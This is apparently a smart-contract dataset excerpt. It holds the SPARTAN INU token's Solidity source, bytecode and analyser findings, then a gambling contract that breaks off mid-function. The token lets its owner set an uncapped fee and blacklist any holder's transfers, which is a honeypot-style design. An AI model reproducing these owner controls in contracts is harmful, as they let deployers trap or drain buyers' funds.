/** *Submitted for verification at Etherscan.io on 2022-04-03 */ // SPDX-License-Identifier: Unlicensed // https://t.me/spartaninu // Madness...? THIS IS SPARTA!!! pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner() { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner() { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); } contract SINU is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint256 private constant _MAX = ~uint256(0); uint256 private constant _tTotal = 1e10 * 10**9; uint256 private _rTotal = (_MAX - (_MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "SPARTAN INU"; string private constant _symbol = "SINU"; uint private constant _decimals = 9; uint256 private _teamFee = 12; uint256 private _previousteamFee = _teamFee; address payable private _feeAddress; IUniswapV2Router02 private _uniswapV2Router; address private _uniswapV2Pair; bool private _initialized = false; bool private _noTaxMode = false; bool private _inSwap = false; bool private _tradingOpen = false; uint256 private _launchTime; uint256 private _initialLimitDuration; modifier lockTheSwap() { _inSwap = true; _; _inSwap = false; } modifier handleFees(bool takeFee) { if (!takeFee) _removeAllFees(); _; if (!takeFee) _restoreAllFees(); } constructor (address payable feeAddress) { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true; _feeAddress = feeAddress; _isExcludedFromFee[_feeAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _removeAllFees() private { require(_teamFee > 0); _previousteamFee = _teamFee; _teamFee = 0; } function _restoreAllFees() private { _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0); require(!_isBot[from]); bool takeFee = false; if ( !_isExcludedFromFee[from] && !_isExcludedFromFee[to] && !_noTaxMode && (from == _uniswapV2Pair || to == _uniswapV2Pair) ) { require(_tradingOpen, 'Trading has not yet been opened.'); takeFee = true; if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _tTotal.mul(2).div(100)); } if (block.timestamp == _launchTime) _isBot[to] = true; uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _uniswapV2Pair) { if (contractTokenBalance > 0) { if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100)) contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100); uint256 burnCount = contractTokenBalance.div(3); contractTokenBalance -= burnCount; _burnToken(burnCount); _swapTokensForEth(contractTokenBalance); } } } _tokenTransfer(from, to, amount, takeFee); } function _burnToken(uint256 burnCount) private lockTheSwap(){ _transfer(address(this), address(0xdead), burnCount); } function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), tokenAmount); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) { (uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate); return (rAmount, rTransferAmount, tTransferAmount, tTeam); } function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) { uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); return (tTransferAmount, tTeam); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rTeam); return (rAmount, rTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function initContract() external onlyOwner() { require(!_initialized,"Contract has already been initialized"); IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _uniswapV2Router = uniswapV2Router; _initialized = true; } function openTrading() external onlyOwner() { require(_initialized, "Contract must be initialized first"); _tradingOpen = true; _launchTime = block.timestamp; _initialLimitDuration = _launchTime + (5 minutes); } function setFeeWallet(address payable feeWalletAddress) external onlyOwner() { _isExcludedFromFee[_feeAddress] = false; _feeAddress = feeWalletAddress; _isExcludedFromFee[_feeAddress] = true; } function excludeFromFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = true; } function includeToFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = false; } function setTeamFee(uint256 fee) external onlyOwner() { _teamFee = fee; } function setBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } function isExcludedFromFee(address ad) public view returns (bool) { return _isExcludedFromFee[ad]; } function swapFeesManual() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); _swapTokensForEth(contractBalance); } function withdrawFees() external { uint256 contractETHBalance = address(this).balance; _feeAddress.transfer(contractETHBalance); } receive() external payable {} }
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063b515566a1161006f578063b515566a146103e7578063c9567bf914610407578063cf0848f71461041c578063dd62ed3e1461043c578063e6ec64ec14610482578063f2fde38b146104a257600080fd5b8063715018a6146103285780638203f5fe1461033d5780638da5cb5b1461035257806390d49b9d1461037a57806395d89b411461039a578063a9059cbb146103c757600080fd5b806331c2d8471161010857806331c2d847146102415780633bbac57914610261578063437823ec1461029a578063476343ee146102ba5780635342acb4146102cf57806370a082311461030857600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101b857806318160ddd146101e857806323b872dd1461020d578063313ce5671461022d57600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104c2565b005b34801561017e57600080fd5b5060408051808201909152600b81526a5350415254414e20494e5560a81b60208201525b6040516101af91906117e8565b60405180910390f35b3480156101c457600080fd5b506101d86101d3366004611862565b61050e565b60405190151581526020016101af565b3480156101f457600080fd5b50678ac7230489e800005b6040519081526020016101af565b34801561021957600080fd5b506101d861022836600461188e565b610525565b34801561023957600080fd5b5060096101ff565b34801561024d57600080fd5b5061017061025c3660046118e5565b61058e565b34801561026d57600080fd5b506101d861027c3660046119aa565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102a657600080fd5b506101706102b53660046119aa565b610624565b3480156102c657600080fd5b50610170610672565b3480156102db57600080fd5b506101d86102ea3660046119aa565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561031457600080fd5b506101ff6103233660046119aa565b6106ac565b34801561033457600080fd5b506101706106ce565b34801561034957600080fd5b50610170610704565b34801561035e57600080fd5b506000546040516001600160a01b0390911681526020016101af565b34801561038657600080fd5b506101706103953660046119aa565b61092f565b3480156103a657600080fd5b5060408051808201909152600481526353494e5560e01b60208201526101a2565b3480156103d357600080fd5b506101d86103e2366004611862565b6109a9565b3480156103f357600080fd5b506101706104023660046118e5565b6109b6565b34801561041357600080fd5b50610170610acf565b34801561042857600080fd5b506101706104373660046119aa565b610b87565b34801561044857600080fd5b506101ff6104573660046119c7565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561048e57600080fd5b5061017061049d366004611a00565b610bd2565b3480156104ae57600080fd5b506101706104bd3660046119aa565b610c01565b6000546001600160a01b031633146104f55760405162461bcd60e51b81526004016104ec90611a19565b60405180910390fd5b6000610500306106ac565b905061050b81610c99565b50565b600061051b338484610e13565b5060015b92915050565b6000610532848484610f37565b610584843361057f85604051806060016040528060288152602001611b94602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906112a1565b610e13565b5060019392505050565b6000546001600160a01b031633146105b85760405162461bcd60e51b81526004016104ec90611a19565b60005b8151811015610620576000600560008484815181106105dc576105dc611a4e565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061061881611a7a565b9150506105bb565b5050565b6000546001600160a01b0316331461064e5760405162461bcd60e51b81526004016104ec90611a19565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f19350505050158015610620573d6000803e3d6000fd5b6001600160a01b03811660009081526001602052604081205461051f906112db565b6000546001600160a01b031633146106f85760405162461bcd60e51b81526004016104ec90611a19565b610702600061135f565b565b6000546001600160a01b0316331461072e5760405162461bcd60e51b81526004016104ec90611a19565b600c54600160a01b900460ff16156107965760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104ec565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108119190611a95565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561085e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108829190611a95565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156108cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f39190611a95565b600c8054600b80546001600160a01b039586166001600160a01b0319919091161790556001600160a81b0319169190921617600160a01b179055565b6000546001600160a01b031633146109595760405162461bcd60e51b81526004016104ec90611a19565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b600061051b338484610f37565b6000546001600160a01b031633146109e05760405162461bcd60e51b81526004016104ec90611a19565b60005b815181101561062057600c5482516001600160a01b0390911690839083908110610a0f57610a0f611a4e565b60200260200101516001600160a01b031614158015610a605750600b5482516001600160a01b0390911690839083908110610a4c57610a4c611a4e565b60200260200101516001600160a01b031614155b15610abd57600160056000848481518110610a7d57610a7d611a4e565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610ac781611a7a565b9150506109e3565b6000546001600160a01b03163314610af95760405162461bcd60e51b81526004016104ec90611a19565b600c54600160a01b900460ff16610b5d5760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104ec565b600c805460ff60b81b1916600160b81b17905542600d819055610b829061012c611ab2565b600e55565b6000546001600160a01b03163314610bb15760405162461bcd60e51b81526004016104ec90611a19565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b03163314610bfc5760405162461bcd60e51b81526004016104ec90611a19565b600855565b6000546001600160a01b03163314610c2b5760405162461bcd60e51b81526004016104ec90611a19565b6001600160a01b038116610c905760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104ec565b61050b8161135f565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ce157610ce1611a4e565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d3a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d5e9190611a95565b81600181518110610d7157610d71611a4e565b6001600160a01b039283166020918202929092010152600b54610d979130911684610e13565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610dd0908590600090869030904290600401611aca565b600060405180830381600087803b158015610dea57600080fd5b505af1158015610dfe573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610e755760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104ec565b6001600160a01b038216610ed65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104ec565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610f9b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104ec565b6001600160a01b038216610ffd5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104ec565b6000811161100a57600080fd5b6001600160a01b03831660009081526005602052604090205460ff161561103057600080fd5b6001600160a01b03831660009081526004602052604081205460ff1615801561107257506001600160a01b03831660009081526004602052604090205460ff16155b80156110885750600c54600160a81b900460ff16155b80156110b85750600c546001600160a01b03858116911614806110b85750600c546001600160a01b038481169116145b1561128f57600c54600160b81b900460ff166111165760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104ec565b50600c546001906001600160a01b0385811691161480156111455750600b546001600160a01b03848116911614155b8015611152575042600e54115b15611199576000611162846106ac565b9050611182606461117c678ac7230489e8000060026113af565b9061142e565b61118c8483611470565b111561119757600080fd5b505b600d544214156111c7576001600160a01b0383166000908152600560205260409020805460ff191660011790555b60006111d2306106ac565b600c54909150600160b01b900460ff161580156111fd5750600c546001600160a01b03868116911614155b1561128d57801561128d57600c546112319060649061117c90600f9061122b906001600160a01b03166106ac565b906113af565b81111561125e57600c5461125b9060649061117c90600f9061122b906001600160a01b03166106ac565b90505b600061126b82600361142e565b90506112778183611b3b565b9150611282816114cf565b61128b82610c99565b505b505b61129b848484846114ff565b50505050565b600081848411156112c55760405162461bcd60e51b81526004016104ec91906117e8565b5060006112d28486611b3b565b95945050505050565b60006006548211156113425760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104ec565b600061134c611602565b9050611358838261142e565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826113be5750600061051f565b60006113ca8385611b52565b9050826113d78583611b71565b146113585760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104ec565b600061135883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611625565b60008061147d8385611ab2565b9050838110156113585760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104ec565b600c805460ff60b01b1916600160b01b1790556114ef3061dead83610f37565b50600c805460ff60b01b19169055565b808061150d5761150d611653565b60008060008061151c8761166f565b6001600160a01b038d166000908152600160205260409020549397509195509350915061154990856116b6565b6001600160a01b03808b1660009081526001602052604080822093909355908a16815220546115789084611470565b6001600160a01b03891660009081526001602052604090205561159a816116f8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115df91815260200190565b60405180910390a350505050806115fb576115fb600954600855565b5050505050565b600080600061160f611742565b909250905061161e828261142e565b9250505090565b600081836116465760405162461bcd60e51b81526004016104ec91906117e8565b5060006112d28486611b71565b60006008541161166257600080fd5b6008805460095560009055565b60008060008060008061168487600854611782565b915091506000611692611602565b90506000806116a28a85856117af565b909b909a5094985092965092945050505050565b600061135883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112a1565b6000611702611602565b9050600061171083836113af565b3060009081526001602052604090205490915061172d9082611470565b30600090815260016020526040902055505050565b6006546000908190678ac7230489e8000061175d828261142e565b82101561177957505060065492678ac7230489e8000092509050565b90939092509050565b60008080611795606461117c87876113af565b905060006117a386836116b6565b96919550909350505050565b600080806117bd86856113af565b905060006117cb86866113af565b905060006117d983836116b6565b92989297509195505050505050565b600060208083528351808285015260005b81811015611815578581018301518582016040015282016117f9565b81811115611827576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461050b57600080fd5b803561185d8161183d565b919050565b6000806040838503121561187557600080fd5b82356118808161183d565b946020939093013593505050565b6000806000606084860312156118a357600080fd5b83356118ae8161183d565b925060208401356118be8161183d565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156118f857600080fd5b823567ffffffffffffffff8082111561191057600080fd5b818501915085601f83011261192457600080fd5b813581811115611936576119366118cf565b8060051b604051601f19603f8301168101818110858211171561195b5761195b6118cf565b60405291825284820192508381018501918883111561197957600080fd5b938501935b8285101561199e5761198f85611852565b8452938501939285019261197e565b98975050505050505050565b6000602082840312156119bc57600080fd5b81356113588161183d565b600080604083850312156119da57600080fd5b82356119e58161183d565b915060208301356119f58161183d565b809150509250929050565b600060208284031215611a1257600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611a8e57611a8e611a64565b5060010190565b600060208284031215611aa757600080fd5b81516113588161183d565b60008219821115611ac557611ac5611a64565b500190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b1a5784516001600160a01b031683529383019391830191600101611af5565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611b4d57611b4d611a64565b500390565b6000816000190483118215151615611b6c57611b6c611a64565b500290565b600082611b8e57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ff9be216908c96f0fd1ec99f619fcf6c761bfe5943db76d80d4fc88249c47a7264736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,662
0x769FFe070Eb0d083b9576eEDA5f30D9A46A32973
pragma solidity ^0.4.25; /** _ _ _ _____ _____ _____ __ ___ _____ _____ _____ _____ _____ | | | || | || __|| __|| | ___ | _| | __||_ _|| | || __|| __ | | | | || || __|| __|| |__ | . || _| | __| | | | || __|| -| |_____||__|__||_____||_____||_____| |___||_| |_____| |_| |__|__||_____||__|__| `.-::::::::::::-.` .:::+:-.` `.-:+:::. `::::. `- -` .:::-` .:::` : : `:::. `:/- `- -` -/:` ./:` : `: `:/. .+: : : `:+. `/-`..` -` `- `..`-/` :/` ..` : : `.. `/: `+. ..` -` `- `.. .+` .+` ..` : : `.. `+. -+ ..` -. .. `.. +- .+ `..` : : `.. +. `o `..` .. .. `..` o` o` `..` `./------/.` `..` `o -+`` `..``-::.````````.::-``..` ``+- s```....```` `+:. ..------.. .:+` ````....```o .+ ````...```` .+. `--`` ``--` .+. ````...```` +. +. ````....`````+` .:` `:. `o`````....```` ./ o ````s` `/ /` `s```` o s s /` .: s s s s /` `/ s s s ```s` `/ /` `s``` o +. ````....```.+ .:` `:. +.```....```` .+ ./ ```....```` -/` `--` `--` `/. ````....``` +. s````....``` .+:` `.--------.` `:+. ```....````s :/``` ..`.::-.`` ``.-::.`.. ```/: o` ..` `-/-::::-/-` `.. `o `o ..` .. .. `.. o` -/ ..` : : `.. /- -/ ..` .. .. `.. /- -+` ..` : : `-. `+- .+. .-` -` .. `-. .+. /: .-` : : `-. `:/ ./- .-` -` `- `-. -/. -+- : : :+- -/-` -` `- `-/- .:/. : : ./:. -:/- : : -/:- .:::-` `- -` `-:::. `-:::+-.` `.:+:::-` `.-::::::::::::::-.` ---Design--- J&#246;rmungandr ---Contract and Frontend--- Mr Fahrenheit J&#246;rmungandr ---Contract Auditor--- 8 ฿ł₮ ₮Ɽł₱ ---Contract Advisors--- Etherguy Norsefire TY Guys **/ contract WheelOfEther { using SafeMath for uint; // Randomizer contract Randomizer private rand; /** * MODIFIERS */ modifier onlyHuman() { require(tx.origin == msg.sender); _; } modifier gameActive() { require(gamePaused == false); _; } modifier onlyAdmin(){ require(msg.sender == admin); _; } /** * EVENTS */ event onDeposit( address indexed customer, uint256 amount, uint256 balance, uint256 devFee, uint timestamp ); event onWithdraw( address indexed customer, uint256 amount, uint256 balance, uint timestamp ); event spinResult( address indexed customer, uint256 wheelNumber, uint256 outcome, uint256 betAmount, uint256 returnAmount, uint256 customerBalance, uint timestamp ); // Contract admin address public admin; uint256 public devBalance = 0; // Game status bool public gamePaused = false; // Random values uint8 private randMin = 1; uint8 private randMax = 80; // Bets limit uint256 public minBet = 0.01 ether; uint256 public maxBet = 10 ether; // Win brackets uint8[10] public brackets = [1,3,6,12,24,40,56,68,76,80]; // Factors uint256 private globalFactor = 10e21; uint256 constant private constantFactor = 10e21 * 10e21; // Customer balance mapping(address => uint256) private personalFactor; mapping(address => uint256) private personalLedger; /** * Constructor */ constructor() public { admin = msg.sender; } /** * Admin methods */ function setRandomizer(address _rand) external onlyAdmin { rand = Randomizer(_rand); } function gamePause() external onlyAdmin { gamePaused = true; } function gameUnpause() external onlyAdmin { gamePaused = false; } function refund(address customer) external onlyAdmin { uint256 amount = getBalanceOf(customer); customer.transfer(amount); personalLedger[customer] = 0; personalFactor[customer] = constantFactor / globalFactor; emit onWithdraw(customer, amount, getBalance(), now); } function withdrawDevFees() external onlyAdmin { admin.transfer(devBalance); devBalance = 0; } /** * Get contract balance */ function getBalance() public view returns(uint256 balance) { return address(this).balance; } function getBalanceOf(address customer) public view returns(uint256 balance) { return personalLedger[customer].mul(personalFactor[customer]).mul(globalFactor) / constantFactor; } function getBalanceMy() public view returns(uint256 balance) { return getBalanceOf(msg.sender); } function betPool(address customer) public view returns(uint256 value) { return address(this).balance.sub(getBalanceOf(customer)).sub(devBalance); } /** * Deposit/withdrawal */ function deposit() public payable onlyHuman gameActive { address customer = msg.sender; require(msg.value >= (minBet * 2)); // Add 2% fee of the buy to devBalance uint256 devFee = msg.value / 50; devBalance = devBalance.add(devFee); personalLedger[customer] = getBalanceOf(customer).add(msg.value).sub(devFee); personalFactor[customer] = constantFactor / globalFactor; emit onDeposit(customer, msg.value, getBalance(), devFee, now); } function withdraw(uint256 amount) public onlyHuman { address customer = msg.sender; require(amount > 0); require(amount <= getBalanceOf(customer)); customer.transfer(amount); personalLedger[customer] = getBalanceOf(customer).sub(amount); personalFactor[customer] = constantFactor / globalFactor; emit onWithdraw(customer, amount, getBalance(), now); } function withdrawAll() public onlyHuman { withdraw(getBalanceOf(msg.sender)); } /** * Spin the wheel methods */ function spin(uint256 betAmount) public onlyHuman gameActive returns(uint256 resultNum) { address customer = msg.sender; require(betAmount >= minBet); require(getBalanceOf(customer) >= betAmount); if (betAmount > maxBet) { betAmount = maxBet; } if (betAmount > betPool(customer) / 10) { betAmount = betPool(customer) / 10; } resultNum = bet(betAmount, customer); } function spinAll() public onlyHuman gameActive returns(uint256 resultNum) { resultNum = spin(getBalanceOf(msg.sender)); } function spinDeposit() public payable onlyHuman gameActive returns(uint256 resultNum) { address customer = msg.sender; uint256 betAmount = msg.value; require(betAmount >= (minBet * 2)); // Add 2% fee of the buy to devFeeBalance uint256 devFee = betAmount / 50; devBalance = devBalance.add(devFee); betAmount = betAmount.sub(devFee); personalLedger[customer] = getBalanceOf(customer).add(msg.value).sub(devFee); personalFactor[customer] = constantFactor / globalFactor; if (betAmount >= maxBet) { betAmount = maxBet; } if (betAmount > betPool(customer) / 10) { betAmount = betPool(customer) / 10; } resultNum = bet(betAmount, customer); } /** * PRIVATE */ function bet(uint256 betAmount, address customer) private returns(uint256 resultNum) { resultNum = uint256(rand.getRandomNumber(randMin, randMax + randMin)); uint256 result = determinePrize(resultNum); uint256 returnAmount; if (result < 5) { // < 5 = WIN uint256 winAmount; if (result == 0) { // Grand Jackpot winAmount = betAmount.mul(9) / 10; // +90% of original bet } else if (result == 1) { // Jackpot winAmount = betAmount.mul(8) / 10; // +80% of original bet } else if (result == 2) { // Grand Prize winAmount = betAmount.mul(7) / 10; // +70% of original bet } else if (result == 3) { // Major Prize winAmount = betAmount.mul(6) / 10; // +60% of original bet } else if (result == 4) { // Minor Prize winAmount = betAmount.mul(3) / 10; // +30% of original bet } weGotAWinner(customer, winAmount); returnAmount = betAmount.add(winAmount); } else if (result == 5) { // 5 = Refund returnAmount = betAmount; } else { // > 5 = LOSE uint256 lostAmount; if (result == 6) { // Minor Loss lostAmount = betAmount / 10; // -10% of original bet } else if (result == 7) { // Major Loss lostAmount = betAmount / 4; // -25% of original bet } else if (result == 8) { // Grand Loss lostAmount = betAmount / 2; // -50% of original bet } else if (result == 9) { // Total Loss lostAmount = betAmount; // -100% of original bet } goodLuck(customer, lostAmount); returnAmount = betAmount.sub(lostAmount); } uint256 newBalance = getBalanceOf(customer); emit spinResult(customer, resultNum, result, betAmount, returnAmount, newBalance, now); return resultNum; } function determinePrize(uint256 result) private view returns(uint256 resultNum) { for (uint8 i = 0; i < 10; i++) { if (result <= brackets[i]) { return i; } } } function goodLuck(address customer, uint256 lostAmount) private { uint256 customerBalance = 